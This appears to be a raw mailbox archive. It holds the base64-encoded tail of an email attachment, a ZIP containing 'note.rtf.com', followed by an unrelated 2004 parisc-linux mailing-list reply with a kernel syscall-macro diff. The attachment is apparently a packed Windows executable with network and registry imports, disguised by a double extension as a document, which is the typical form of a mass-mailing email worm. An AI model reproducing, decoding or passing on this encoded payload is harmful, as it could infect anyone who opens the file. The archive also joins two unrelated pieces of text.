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
23UHix6D7vwR2xHJAdtz73UJix6D7vwR23Pkg8ECgf0A8///g9EBjRQvg/38dg+KAkKIB0dJ
dffpY////5CLAoPCBIkHg8cEg+kEd/EBz+lM////Xon3uUkBAACKB0cs6DwBd/eAPwV18osH
il8EZsHoCMHAEIbEKfiA6+gB8IkHg8cFidji2Y2+AJABAIsHCcB0RYtfBI2EMBC1AQAB81CD
xwj/lpy1AQCVigdHCMB03In5eQcPtwdHUEe5V0jyrlX/lqC1AQAJwHQHiQODwwTr2P+WpLUB
AGHpx4j+/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAwAAACAAAIAOAAAA
kAAAgAAAAAAAAAAAAAAAAAAAAgABAAAAQAAAgAIAAABoAACAAAAAAAAAAAAAAAAAAAABAAcE
AABYAAAA1MABAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAHBAAAgAAAAMDDAQAoAQAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAZQAAAKgAAIAAAAAAAAAAAAAAAAAAAAEABwQAAMAA
AADsxAEAIgAAAAAAAAAAAAAA0JABACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAA
AAAAAAAAAADM//8AaFdYAAAAAACAgIAA////AMDAwAD/AAAAAP//AL8AAAAAAP8AAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAIiESIiIiIiIiIiIiIiIiIiIhNVVVVVVVVVVVVVUlIiIiI0RE
REREREREREREUlIiIiNERERERERVVERFVVJSIiIjRIiIiERJmUREmZRSUiIiI0RERERERJVE
RElUUlIiIiNEiIiIiERJVVVZVFJSIiIjRERERERERJmZmVRSUiIiI0SIiIiIiERJVElUUlIi
IiNERERERERERJVJVFJSIiIjRIiIiIiIiERJWVRSUiIiI0RERERERERERJlUUlIiIiNEiIiI
iIiIiERJRFJSIiIjRERERERERERERERSUiIiI0SIiIiIiIiIiIhEUlIiIiNERERERERERERE
RFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEIiIiIkSIiIiIRFJSIiIj
RDmSREJERERERERSUiIiI0QyIiIiRIiIiIhEUlIiIiNENEJ3ckRERERERFJSIiIjRDIid3JE
iIiIiERSUiIiI0Q0QndyREREREREUlIiIiNENEJmYkRERERERFJSIiIjRDRCZmJERERERERS
UiIiI0QzMiIiREREREREUlIiIiNERERERERERERERFJSIiIjQkQkQkQkQkQkQkQyUiIiI0JE
JEJEJEJEJEJEMlIiIiIkM0M0M0M0M0M0M0MiIiIiIiIiIiIiIiIiIiIiIiLgAAAP4AAAB+AA
AAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH
4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA
AAf4AAAP/////7iTAQAoAAAAEAAAACAAAAABAAQAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A
/wD//wAA////AAAAAAAAAAAAAHd3d3d3cAAA//+f/59wAAD//3mZn3AAAPRE95+fcAAA////
eZ9wAAD0RET3n3AAAP//////cAAA9ERERE9wAAD//////3AAAPRERERPcAAA//////9wAAD/
/////3AAAPDw8PDw8AAAD4+Pj4+AAAAAAAAAAAAAwAcAAMADAADAAwAAwAMAAMADAADAAwAA
wAMAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADABwAA6q8AAOCUAQAAAAEAAgAgIBAA
AQAEAOgCAAABABAQEAABAAQAKAEAAAIAAAAAAAAAAAAAAAAAAADUxQEAnMUBAAAAAAAAAAAA
AAAAAOHFAQCsxQEAAAAAAAAAAAAAAAAA7sUBALTFAQAAAAAAAAAAAAAAAAD7xQEAvMUBAAAA
AAAAAAAAAAAAAAbGAQDExQEAAAAAAAAAAAAAAAAAEsYBAMzFAQAAAAAAAAAAAAAAAAAAAAAA
AAAAABzGAQAqxgEAOsYBAAAAAABIxgEAAAAAAFbGAQAAAAAAaMYBAAAAAAB0xgEAAAAAAAsA
AIAAAAAAS0VSTkVMMzIuRExMAEFEVkFQSTMyLmRsbABpcGhscGFwaS5kbGwAVVNFUjMyLmRs
bABXSU5JTkVULmRsbABXUzJfMzIuZGxsAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz
AABFeGl0UHJvY2VzcwAAAFJlZ09wZW5LZXlBAAAAR2V0TmV0d29ya1BhcmFtcwAAd3Nwcmlu
dGZBAAAASW50ZXJuZXRHZXRDb25uZWN0ZWRTdGF0ZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBLAQIUAAoAAAAAAHounjCudsW6AF4AAABeAAAMAAAA
AAAAAAAAIAAAAAAAAABub3RlLnJ0Zi5jb21QSwUGAAAAAAEAAQA6AAAAKl4AAAAA


------=_NextPart_000_0001_0000555A.0000685E--




From - Thu Nov 08 21:31:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 carlos
Date: Fri, 30 Apr 2004 11:57:45 -0400
Lines: 246
Approved: news@gmane.org
Message-ID: <20040430155745.GG12850@baldric.uwo.ca>
References: <20040430141548.EFE284945CD@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623424 9162 80.91.229.3 (22 Nov 2014 02:30:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:24 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Fri Apr 30 09:58:28 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 8E84A4873; Fri, 30 Apr 2004 09:58:28 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BJaOX-0006vh-00; Fri, 30 Apr 2004 11:57:45 -0400
Content-Disposition: inline
In-Reply-To: <20040430141548.EFE284945CD@palinux.hppa>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (83% Sync Ratio [========..])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 30 Apr 2004 15:58:29 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21574

On Fri, Apr 30, 2004 at 08:15:48AM -0600, Carlos O'Donell wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	carlos	04/04/30 08:15:48
> 
> Modified files:
> 	include/asm-parisc: unistd.h 
> 
> Log message:
> Update K_INLINE_SYSCALL so userspace apps using the macro work properly.

Lifted from the version I wrote for glibc. I get to clean this up yet
again when we remove the register saves across syscalls.

Index: include/asm-parisc/unistd.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/unistd.h,v
retrieving revision 1.5
diff -u -p -r1.5 unistd.h
--- a/include/asm-parisc/unistd.h	28 Apr 2004 23:13:37 -0000	1.5
+++ b/include/asm-parisc/unistd.h	30 Apr 2004 14:15:17 -0000
@@ -735,94 +735,141 @@
 
 #ifndef __ASSEMBLY__
 
-/* The old syscall code here didn't work, and it looks like it's only used
- * by applications such as fdisk which for some reason need to produce
- * their own syscall instead of using same from libc.  The code below
- * is leveraged from glibc/sysdeps/unix/sysv/linux/hppa/sysdep.h where
- * it is essentially duplicated -- which sucks.  -PB
- */
-
 #define SYS_ify(syscall_name)   __NR_##syscall_name
 
-/* The system call number MUST ALWAYS be loaded in the delay slot of
